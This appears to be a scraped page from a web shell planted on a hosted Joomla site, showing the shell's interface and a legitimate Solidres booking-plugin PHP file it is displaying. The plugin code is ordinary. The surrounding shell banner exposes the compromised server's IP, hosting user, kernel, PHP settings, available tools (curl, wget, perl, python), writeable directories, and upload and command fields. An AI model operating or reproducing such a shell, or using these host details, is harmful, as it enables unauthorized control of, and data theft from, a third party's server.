Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/v/e/r/verseaumee/ptitsanes/plugins/solidres/experience/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/v/e/r/verseaumee/ptitsanes/plugins/solidres/experience/experience.php
<?php
/**
------------------------------------------------------------------------
SOLIDRES - Accommodation booking extension for Joomla
------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2020 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Table\Table;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Factory as CMSFactory;

class PlgSolidresExperience extends SRPlugin
{
	/**
	 * @var $db JDatabaseDriver
	 * @since 0.1.0
	 */
	protected $db;
	protected static $plgVersion = '1.4.0';

	public function onSolidresSideNavPrepare(&$menuStructure, &$iconMap)
	{
		$mainActivity = ComponentHelper::getParams('com_solidres')->get('main_activity', '');

		if ($mainActivity !== '' && $mainActivity === '0')
		{
			return;
		}

		$menuStructure['SR_SUBMENU_EXPERIENCES'] = array(
			'0.0'  => array('SR_CATEGORIES_LABEL', 'index.php?option=com_solidres&view=expcategories'),
			'1.0'  => array('SR_EXPERIENCES_LABEL', 'index.php?option=com_solidres&view=experiences'),
			'2.0'  => array('SR_TRANSPORTATIONS_LABEL', 'index.php?option=com_solidres&view=transportations'),
			'3.0'  => array('SR_EXP_EXTRAS', 'index.php?option=com_solidres&view=expextras'),
			'4.0'  => array('SR_SUBMENU_COUPONS_LIST', 'index.php?option=com_solidres&view=expcoupons'),
			'4.5'  => array('SR_SUBMENU_DISCOUNTS', 'index.php?option=com_solidres&view=expdiscounts'),
			'5.0'  => array('SR_EXP_GUIDES_LABEL', 'index.php?option=com_solidres&view=expguides'),
			'6.0'  => array('SR_CUSTOM_FIELDS_LABEL', 'index.php?option=com_solidres&view=customfields&context=com_solidres.experience.customer'),
			'7.0'  => array('SR_RESERVATIONS_LABEL', 'index.php?option=com_solidres&view=expreservations'),
			'8.0'  => array('SR_EXPERIENCE_INVOICES', 'index.php?option=com_solidres&view=expinvoices'),
			'9.0'  => array('SR_STATUSES', 'index.php?option=com_solidres&view=statuses&scope=1'),
			'9.1'  => array('SR_ORIGINS', 'index.php?option=com_solidres&view=origins&scope=1'),
			//'9.2'  => array('SR_EXP_CALENDARS', 'index.php?option=com_solidres&view=expcalendars'),
			'10.0' => array('SR_EXP_REPORT_N_STATISTICS', 'index.php?option=com_solidres&view=expdashboard'),
		);

		if (SRPlugin::isEnabled('experienceinvoice'))
		{
			$menuStructure['SR_SUBMENU_EXPERIENCES']['8.0'] = array('SR_EXPERIENCE_INVOICES', 'index.php?option=com_solidres&view=expinvoices');
		}

		$iconMap['experiences'] = 'fa fa-camera';
	}

	protected function getMenuTypeOptions()
	{
		$viewPath = $this->_getSitePath() . '/views';

		return array(
			'experience'    => $viewPath . '/experience/tmpl/default.xml',
			'experiences'   => $viewPath . '/experiences/tmpl/default.xml',
			'exptracking'   => $viewPath . '/exptracking/tmpl/default.xml',
			'expcategories' => $viewPath . '/expcategories/tmpl/default.xml',
		);
	}

	private function getCountry($countryId)
	{
		static $countries = [];

		if (!array_key_exists($countryId, $countries))
		{
			$query = $this->db->getQuery(true)
				->select('a.id, a.name, a.code_2, a.code_3')
				->from($this->db->quoteName('#__sr_countries', 'a'))
				->where('a.state = 1 AND a.id = ' . (int) $countryId);
			$this->db->setQuery($query);
			$countries[$countryId] = $this->db->loadObject() ?: false;
		}

		return $countries[$countryId];
	}

	public function onSolidresExperiencePrepare(&$item)
	{
		static $prepareItems = [];

		if (isset($prepareItems[$item->id]))
		{
			return;
		}

		$prepareItems[$item->id] = true;
		ArrayHelper::toInteger($item->cid);
		ArrayHelper::toInteger($item->tid);
		$query = $this->db->getQuery(true);

		// Load categories
		if (count($item->cid))
		{
			static $categories = null;

			if (null === $categories)
			{
				$query->select('a.id, a.name, a.alias')
					->from($this->db->quoteName('#__sr_experience_categories', 'a'))
					->where('a.state = 1');
				$this->db->setQuery($query);
				$categories = $this->db->loadObjectList();
			}

			$item->categories = [];

			if ($categories)
			{
				foreach ($categories as $category)
				{
					if (in_array($category->id, $item->cid))
					{
						if (!isset($category->link))
						{
							$category->link = Route::_(SRExperienceHelper::getItemsRoute(array('cat' => $category->id)), false);
						}

						$item->categories[] = $category;
					}
				}
			}
		}

		// Load transportation
		if (count($item->tid))
		{
			static $transportations = null;

			if (null === $transportations)
			{
				$query->clear()
					->select('a.id, a.name')
					->from($this->db->quoteName('#__sr_experience_transportations', 'a'))
					->where('a.state = 1');
				$this->db->setQuery($query);
				$transportations = $this->db->loadObjectList();
			}

			$item->transportations = [];

			if ($transportations)
			{
				foreach ($transportations as $transportation)
				{
					if (in_array($transportation->id, $item->tid))
					{
						if (!isset($transportation->link))
						{
							$transportation->link = Route::_(SRExperienceHelper::getItemsRoute(array('tran' => $transportation->id)), false);
						}

						$item->transportations[] = $transportation;
					}
				}
			}
		}

		if ($item->country_id || $item->contact_country_id)
		{
			if ($item->country_id)
			{
				$item->country = $this->getCountry($item->country_id);
			}

			if ($item->contact_country_id)
			{
				$item->contact_country = $this->getCountry($item->contact_country_id);
			}
		}

		if ($item->contact_geo_state_id)
		{
			static $geoStates = [];

			if (!isset($geoStates[$item->contact_geo_state_id]))
			{
				$query->clear()
					->select('a.id, a.country_id, a.name, a.code_2, a.code_3')
					->from($this->db->quoteName('#__sr_geo_states', 'a'))
					->where('a.state = 1 AND a.id = ' . (int) $item->contact_geo_state_id);
				$this->db->setQuery($query);
				$geoStates[$item->contact_geo_state_id] = $this->db->loadObject();
			}

			$item->contact_geo_state = $geoStates[$item->contact_geo_state_id];
			unset($item->contact_geo_state_id);
		}

		$solidresConfig = JComponentHelper::getParams('com_solidres');

		// Available sizes
		$item->available_sizes = SRExperienceHelper::getAvailableSizes($item);
		$route                 = SRExperienceHelper::getItemRoute($item->id, (array) $item->cid);

		if ($solidresConfig->get('enable_auto_scroll', '1'))
		{
			$route .= '#sr-experience';
		}

		$item->link = Route::_($route, false);

		// Tax
		$item->tax_rate     = null;
		$item->taxAmount    = 0.00;
		$item->priceDisplay = $item->pricing_base;
		$taxId              = (int) $item->tax_id;

		if ($taxId)
		{
			$query->clear()
				->select('a.rate')
				->from($this->db->quoteName('#__sr_taxes', 'a'))
				->where('a.id = ' . $taxId . ' AND a.state = 1 AND a.country_id = ' . (int) $item->country_id);
			$this->db->setQuery($query);

			if ($rate = $this->db->loadResult())
			{
				$item->tax_rate  = (float) $rate;
				$item->taxAmount = $item->tax_rate * $item->pricing_base;

				if ($solidresConfig->get('show_price_with_tax'))
				{
					$item->priceDisplay += $item->taxAmount;
				}
			}
		}

		// Pricing
		$pricing = $item->pricing;

		if (!empty($pricing['children']))
		{
			$base                        = isset($pricing['children']['base']) ? (float) $pricing['children']['base'] : 0.00;
			$pricing['children']['base'] = $base;
			$temp                        = array();

			if (!empty($pricing['children']['extra']))
			{
				foreach ($pricing['children']['extra'] as $price)
				{
					list($from, $to, $quantity, $value) = $price;
					$temp[$from . '_' . $to][$quantity] = (float) $value;
				}
			}

			$pricing['children']['extra'] = $temp;
		}

		$item->pricing = $pricing;
		SRLayoutHelper::addIncludePath(__DIR__ . '/layouts');

		// Galleries
		if (!empty($item->params['media_folder']))
		{
			JLoader::import('joomla.filesystem.folder');
			JLoader::import('joomla.filesystem.file');
			$images = [];

			if (is_string($item->params['media_folder']))
			{
				$path = JPATH_ROOT . '/' . $item->params['media_folder'];

				if (is_dir($path))
				{
					$folder = $item->params['media_folder'];
					$images = array_map(function ($image) use ($folder) {
						return $folder . '/' . $image;
					}, Folder::files($path, 'gif|png|jpe?g|svg|GIF|PNG|JPE?G|SVG'));
				}
			}
			elseif (is_array($item->params['media_folder']))
			{
				$images = $item->params['media_folder'];
			}

			if ($images)
			{
				$thumbSize  = !empty($item->params['thumb_size']) ? $item->params['thumb_size'] : '';
				$rootUri    = Uri::root(true);
				$useCaption = !empty($item->params['filename_as_caption']);
				$galleries  = [];

				foreach ($images as $image)
				{
					$baseDir = dirname($image);
					$ext     = File::getExt($image);
					$image   = $rootUri . '/' . $image;
					$name    = basename($image, '.' . $ext);
					$thumb   = $name . '_' . $thumbSize . '.' . $ext;

					if (is_file(JPATH_ROOT . '/' . $baseDir . '/thumbs/' . $thumb))
					{
						$thumb = $rootUri . '/' . $baseDir . '/thumbs/' . $thumb;
					}
					else
					{
						$thumb = $image;
					}

					$galleries[] = array(
						'thumb'   => $thumb,
						'image'   => $image,
						'caption' => preg_replace('/[_\-]+/', ' ', $name),
					);
				}

				$item->galleries = SRLayoutHelper::render('experience.gallery.gallery', array(
					'galleries'  => $galleries,
					'useCaption' => $useCaption,
				));

				if (strpos($item->description_long, '{show_gallery}') !== false)
				{
					$item->description_long = str_replace('{show_gallery}', $item->galleries, $item->description_long);
					unset($item->galleries);
				}
			}
		}

		$item->availableDates = array();

		if (!empty($item->available_dates)
			&& ($availableDates = @json_decode($item->available_dates, true))
			&& json_last_error() === JSON_ERROR_NONE)
		{
			$nowDate     = CMSFactory::getDate(CMSFactory::getDate()->format('Y-m-d'));
			$minBookDays = isset($item->params['min_book_days']) ? (int) $item->params['min_book_days'] : 0;
			$maxBookDays = isset($item->params['max_book_days']) ? (int) $item->params['max_book_days'] : 0;

			foreach ($availableDates as $availableDate)
			{
				try
				{
					$diff = (int) $nowDate->diff(CMSFactory::getDate($availableDate))->format('%R%a');

					if ($diff >= 0)
					{
						if (($minBookDays > 0 && $diff < $minBookDays)
							|| ($maxBookDays > 0 && $diff > $maxBookDays)
						)
						{
							continue;
						}

						$item->availableDates[] = $availableDate;
					}
				}
				catch (Exception $e)
				{
					// Ignore error
				}
			}

			$cmp = function ($a, $b) {

				$a = strtotime($a);
				$b = strtotime($b);

				if ($a == $b)
				{
					return 0;
				}

				return ($a < $b) ? -1 : 1;
			};

			usort($item->availableDates, $cmp);

			$item->available_dates = json_encode($item->availableDates);
		}

		$item->distances = [];

		if (!empty($item->params['associated_assets']))
		{
			$assetIds = ArrayHelper::toInteger($item->params['associated_assets']);
			$query->clear()
				->select('a.name, a.city, a.distance_from_city_centre')
				->from($this->db->quoteName('#__sr_reservation_assets', 'a'))
				->where('a.state = 1 AND a.id IN (' . join(',', $assetIds) . ')');
			$this->db->setQuery($query);

			if ($rows = $this->db->loadObjectList())
			{
				foreach ($rows as $row)
				{
					if (!empty($row->distance_from_city_centre))
					{
						$item->distances[] = [
							'asset'    => $row->name,
							'city'     => $row->city,
							'distance' => $row->distance_from_city_centre,
							'display'  => Text::sprintf('SR_EXP_N_KM_FROM_CENTRE', $row->distance_from_city_centre, $row->city . ' (' . $row->name . ')'),
						];
					}
				}
			}
		}
	}

	public function onSolidresPluginRegister()
	{
		if ($this->app->isSite()
			&& $this->app->input->getCmd('option') == 'com_solidres'
			&& !SRPlugin::isEnabled('customfield')
		)
		{
			throw new RuntimeException(Text::_('SR_ERROR_CUSTOMFIELD_REQUIRE'));
		}

		$this->defines();
		JLoader::import('helpers.experience', $this->_getAdminPath());
		JLoader::register('SRExpPayment', SRPlugin::getAdminPath('experience') . '/helpers/payment.php');
		JLoader::register('SRWishList', JPATH_ADMINISTRATOR . '/components/com_solidres/helpers/wishlist.php');

		if (strcasecmp($this->app->input->getCmd('option'), 'com_solidres') !== 0)
		{
			return;
		}

		$command   = $this->getCommand();
		$partnerId = SRUtilities::getPartnerId();
		$user      = CMSFactory::getUser();
		$adminPath = false;
		$commands  = array(
			'expextras',
			'expextra',
			'expcoupons',
			'expcoupon',
			'myexperiences',
			'expreservations',
			'expreservation',
			'expdashboard',
			'expguides',
			'expguide',
		);

		if (in_array($command, $commands))
		{
			if ($user->id)
			{
				if (SRPlugin::isEnabled('user'))
				{
					Table::addIncludePath(SRPlugin::getAdminPath('user') . '/tables');
					$customerTable = Table::getInstance('Customer', 'SolidresTable');

					if ($customerTable->load(array('user_id' => $user->id)))
					{
						if ($command == 'myexperiences')
						{
							$this->app->input->set('_viewAlias', 'myexperiences');
							$this->app->input->set('view', 'expreservations');
						}

						$adminPath = true;
					}
				}
			}
			elseif ($this->app->isClient('site'))
			{
				$return = base64_encode(Uri::getInstance()->toString());
				$this->app->redirect(Route::_('index.php?option=com_users&view=login&return=' . $return, false));
			}

			if (version_compare(JVERSION, '4.0', 'ge'))
			{
				JLoader::register('Joomla\\CMS\\Toolbar\\ToolbarHelper', JPATH_LIBRARIES . '/src/Toolbar/ToolbarHelper.php');
			}
			else
			{
				JLoader::register('JToolBarHelper', JPATH_ADMINISTRATOR . '/includes/toolbar.php');
			}
		}

		if (($this->app->isSite()
				&& $partnerId !== false
				&& in_array($command, array('expreservations', 'expreservation')))
			|| $adminPath
		)
		{
			if (SRPlugin::isEnabled('hub'))
			{
				$options = ['relative' => true, 'version' => PlgSolidresHub::getHashVersion()];
				JHtml::_('stylesheet', 'plg_solidres_hub/assets/hub.min.css', $options);
				JHtml::_('script', 'plg_solidres_hub/assets/hub.min.js', $options);
			}

			SRControllerLegacy::addIncludePath($this->_getAdminPath());
		}
		else
		{
			SRControllerLegacy::addIncludePath($this->_getBasePath());
		}

		$menu = $this->app->getMenu()->getActive();

		if (
			$menu
			&& isset($menu->query['option'])
			&& $menu->query['option'] == 'com_solidres'
			&& isset($menu->query['view'])
			&& $menu->query['view'] == 'experiences'
		)
		{
			$uri    = clone Uri::getInstance();
			$router = $this->app->getRouter();
			$vars   = $router->parse($uri);
			if (!empty($vars['category_id']))
			{
				$menu->params->set('categories', array());
				$menu->params->set('country_id', null);
				$menu->params->set('city', null);
			}
		}
	}

	private function getCommand()
	{
		$task = strtolower($this->app->input->getCmd('task'));
		$view = strtolower($this->app->input->getCmd('view'));
		if (strpos($task, '.') !== false)
		{
			$command = explode('.', $task, 2);

			return $command[0];
		}

		return $view;
	}

	public function onExperienceSendConfirmEmail($table)
	{
		static $sent = false;

		if ($sent)
		{
			return;
		}

		$sent   = true;
		$layout = SRLayoutHelper::getInstance();
		$layout->addIncludePath(__DIR__ . '/layouts');
		JModelLegacy::addIncludePath($this->_getAdminPath() . '/models', 'SolidresModel');
		$reservationModel = JModelLegacy::getInstance('ExpReservation', 'SolidresModel', array('ignore_request' => true));
		$item             = $reservationModel->getItem($table->get('id'));
		$experience       = unserialize($item->experience_history);
		$imageLogo        = !empty($experience->contact_company_logo) ? Uri::root() . $experience->contact_company_logo : null;
		$fieldValues = SRCustomFieldHelper::setFieldDataValues($item->customer);
		$displayData = array(
			'layout'             => $layout,
			'item'               => $item,
			'imageLogo'          => $imageLogo,
			'experience'         => $experience,
			'customer_firstname' => $fieldValues->get('customer_firstname'),
			'customer_lastname'  => $fieldValues->get('customer_lastname'),
		);

		$fromMail = $this->app->get('mailfrom');
		$fromName = $this->app->get('fromname');
		$mailer   = CMSFactory::getMailer();
		$filter   = JFilterInput::getInstance();

		if (!empty($experience->contact_email))
		{
			$displayData['admin'] = 1;
			$body                 = $layout->render('experience.emails.reservation_completed_customer_notify_inliner', $displayData);
			$subject              = Text::sprintf('SR_EXPERIENCE_EMAIL_ADMIN_SUBJECT', $item->code, $displayData['customer_firstname'], $displayData['customer_lastname']);
			$mailer->sendMail($fromMail, $fromName, $experience->contact_email, $subject, $filter->clean($body, 'TRIM'), true);
			$mailer->clearAllRecipients();
		}

		if ($clientEmail = $fieldValues->get('customer_email'))
		{
			$displayData['admin'] = 0;
			$body                 = $layout->render('experience.emails.reservation_completed_customer_notify_inliner', $displayData);
			$subject              = Text::sprintf('SR_EXPERIENCE_EMAIL_GUEST_SUBJECT');

			$mailer->sendMail($fromMail, $fromName, $clientEmail, $subject, $filter->clean($body, 'TRIM'), true);
			$this->app->enqueueMessage(Text::sprintf('SR_EXPERIENCE_BOOK_SEND_EMAIL_SUCCESS_FORMAT', $clientEmail));
		}
	}

	public function onSolidresBeforeDisplay($viewName, &$cachable, &$urlParams)
	{
		if (in_array(strtolower($viewName), array('experiences', 'experience')))
		{
			$urlParams = array_merge(array(
				'minRange'      => 'FLOAT',
				'maxRange'      => 'FLOAT',
				'base_location' => 'STRING',
				'end_location'  => 'STRING',
				'city'          => 'STRING',
				'country_id'    => 'UINT',
				'categories'    => 'ARRAY',
				'cat'           => 'STRING',
				'range'         => 'STRING',
				'owner'         => 'STRING',
				'review'        => 'STRING',
				'day'           => 'STRING',
				'hour'          => 'STRING',
				'Itemid'        => 'UINT',
			), $urlParams);
		}

		if (in_array($viewName, array('bookform', 'exptracking')))
		{
			$cachable = false;
		}
	}

	public function onSolidresWidgetsRegister(&$widgets = [])
	{
		$widgets['experience.widgets.total.experiences']  = Text::_('SR_EXP_WIDGET_TOTAL_EXPERIENCES');
		$widgets['experience.widgets.total.customers']    = Text::_('SR_EXP_WIDGET_TOTAL_CUSTOMERS');
		$widgets['experience.widgets.total.reservations'] = Text::_('SR_EXP_WIDGET_TOTAL_RESERVATIONS');
		$widgets['experience.widgets.total.revenues']     = Text::_('SR_EXP_WIDGET_TOTAL_REVENUES');
	}

	public function onSolidresWidgetPrepare(stdClass $widget, JViewLegacy $statisticsView)
	{
		$this->onSolidresWidgetsRegister($widgets);

		if (!isset($widgets[$widget->id]))
		{
			return;
		}

		switch ($widget->id)
		{
			case 'experience.widgets.total.experiences':
				$this->loadWidgetTotalExperiences($widget);
				break;

			case 'experience.widgets.total.customers':
				$this->loadWidgetTotalCustomers($widget);
				break;

			case 'experience.widgets.total.reservations':
				$this->loadWidgetTotalReservations($widget);
				break;

			case 'experience.widgets.total.revenues':
				$this->loadWidgetTotalRevenues($widget);
				break;
		}

		$widget->layoutId = 'widgets.card';
	}

	protected function getPartnerId()
	{
		static $partnerId = null;

		if (null === $partnerId)
		{
			if ($this->app->isClient('site'))
			{
				$partnerId = (int) (SRUtilities::getPartnerId() ?: 0);
			}
			else
			{
				$partnerId = 0;
			}
		}

		return $partnerId;
	}

	protected function loadWidgetTotalExperiences($widget)
	{
		$db    = CMSFactory::getDbo();
		$query = $db->getQuery(true)
			->select('COUNT(*)')
			->from($db->quoteName('#__sr_experiences'))
			->where($db->quoteName('state') . ' = 1');

		if ($partnerId = $this->getPartnerId())
		{
			$query->where($db->quoteName('partner_id') . ' = ' . $partnerId);
		}

		$db->setQuery($query);
		$widget->title   = Text::_('SR_EXP_WIDGET_TOTAL_EXPERIENCES');
		$widget->content = $db->loadResult() ?: Text::_('SR_STATISTICS_NO_DATA_FOUND');
		$widget->icon    = 'fa fa-plane';
	}

	protected function loadWidgetTotalReservations($widget)
	{
		$db    = CMSFactory::getDbo();
		$query = $db->getQuery(true)
			->select('COUNT(*)')
			->from($db->quoteName('#__sr_experience_reservations', 'a'))
			->where('a.state <> -2');

		if ($partnerId = $this->getPartnerId())
		{
			$query->join('INNER', $db->quoteName('#__sr_experiences', 'a2') . ' ON a2.id = a.experience_id')
				->where('a2.partner_id = ' . $partnerId);
		}

		$db->setQuery($query);
		$widget->title   = Text::_('SR_EXP_WIDGET_TOTAL_RESERVATIONS');
		$widget->content = $db->loadResult() ?: Text::_('SR_STATISTICS_NO_DATA_FOUND');
		$widget->icon    = 'fa fa-key';
	}

	protected function loadWidgetTotalCustomers($widget)
	{
		$db    = CMSFactory::getDbo();
		$query = $db->getQuery(true)
			->select('COUNT(DISTINCT a.customer_id)')
			->from($db->quoteName('#__sr_experience_reservations', 'a'))
			->join('INNER', $db->quoteName('#__sr_customers', 'a2') . ' ON a2.id = a.customer_id')
			->join('INNER', $db->quoteName('#__users', 'a3') . ' ON a3.id = a2.user_id')
			->where('a3.block = 0 AND a.state <> -2');

		if ($partnerId = $this->getPartnerId())
		{
			$query->join('INNER', $db->quoteName('#__sr_experiences', 'a4') . ' ON a4.id = a.experience_id')
				->where('a4.partner_id = ' . $partnerId);
		}

		$db->setQuery($query);
		$widget->title   = Text::_('SR_EXP_WIDGET_TOTAL_CUSTOMERS');
		$widget->content = $db->loadResult() ?: Text::_('SR_STATISTICS_NO_DATA_FOUND');
		$widget->icon    = 'fa fa-users';
	}

	protected function loadWidgetTotalRevenues($widget)
	{
		$revenues            = 0.00;
		$solidresConfig      = JComponentHelper::getParams('com_solidres');
		$defaultCurrencyId   = $solidresConfig->get('default_currency_id');
		$confirmPaymentState = $solidresConfig->get('exp_payment_confirm_state', 1);
		$db                  = CMSFactory::getDbo();
		$query               = $db->getQuery(true)
			->select('a.currency_id, a.total_paid')
			->from($db->quoteName('#__sr_experience_reservations', 'a'))
			->where('a.state <> -2 AND a.payment_status = ' . (int) $confirmPaymentState);

		if ($partnerId = $this->getPartnerId())
		{
			$query->join('INNER', $db->quoteName('#__sr_experiences', 'a2') . ' ON a2.id = a.experience_id')
				->where('a2.partner_id = ' . $partnerId);
		}

		$db->setQuery($query);

		if ($rows = $db->loadObjectList())
		{
			$query->clear()
				->select('a.id, a.exchange_rate')
				->from($db->quoteName('#__sr_currencies', 'a'))
				->where('a.state = 1');
			$db->setQuery($query);
			$currencies = $db->loadObjectList('id');

			foreach ($rows as $row)
			{
				$currencyId = $row->currency_id ?: $defaultCurrencyId;
				$totalPaid  = (float) $row->total_paid;

				if (isset($currencies[$currencyId]))
				{
					if ($currencyId == $defaultCurrencyId)
					{
						$revenues += $totalPaid;
					}
					else
					{
						$fromExchangeRate = (float) $currencies[$currencyId]->exchange_rate;
						$toExchangeRate   = (float) $currencies[$defaultCurrencyId]->exchange_rate;
						$revenues         += $totalPaid * ($toExchangeRate / $fromExchangeRate);
					}
				}
			}
		}

		$currency        = new SRCurrency($revenues, $defaultCurrencyId);
		$widget->title   = Text::_('SR_EXP_WIDGET_TOTAL_REVENUES');
		$widget->content = $currency->format();
		$widget->icon    = 'fa fa-dollar';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit